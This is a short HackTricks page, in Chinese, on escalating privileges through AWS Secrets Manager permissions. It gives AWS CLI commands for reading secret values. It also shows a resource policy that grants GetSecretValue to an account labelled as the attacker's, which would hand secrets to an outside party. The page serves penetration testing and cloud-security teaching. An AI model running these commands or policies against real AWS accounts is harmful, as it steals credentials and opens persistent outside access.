AWS - Secrets Manager Privesc

支持 HackTricks

Secrets Manager

有关 Secrets Manager 的更多信息,请查看:

secretsmanager:GetSecretValue

拥有此权限的攻击者可以获取 AWS Secretsmanager秘密内保存的值

aws secretsmanager get-secret-value --secret-id <secret_name> # Get value

潜在影响: 访问 AWS Secrets Manager 服务中的高度敏感数据。

secretsmanager:GetResourcePolicy, secretsmanager:PutResourcePolicy, (secretsmanager:ListSecrets)

通过之前的权限,可以授予其他主体/账户(甚至外部)访问秘密的权限。请注意,为了读取使用 KMS 密钥加密的秘密,用户还需要对KMS 密钥具有访问权限(更多信息请参见 KMS Enum page)。

aws secretsmanager list-secrets
aws secretsmanager get-resource-policy --secret-id <secret_name>
aws secretsmanager put-resource-policy --secret-id <secret_name> --resource-policy file:///tmp/policy.json

policy.json:

{
"Version" : "2012-10-17",
"Statement" : [ {
"Effect" : "Allow",
"Principal" : {
"AWS" : "arn:aws:iam::<attackers_account>:root"
},
"Action" : "secretsmanager:GetSecretValue",
"Resource" : "*"
} ]
}
支持 HackTricks

Last updated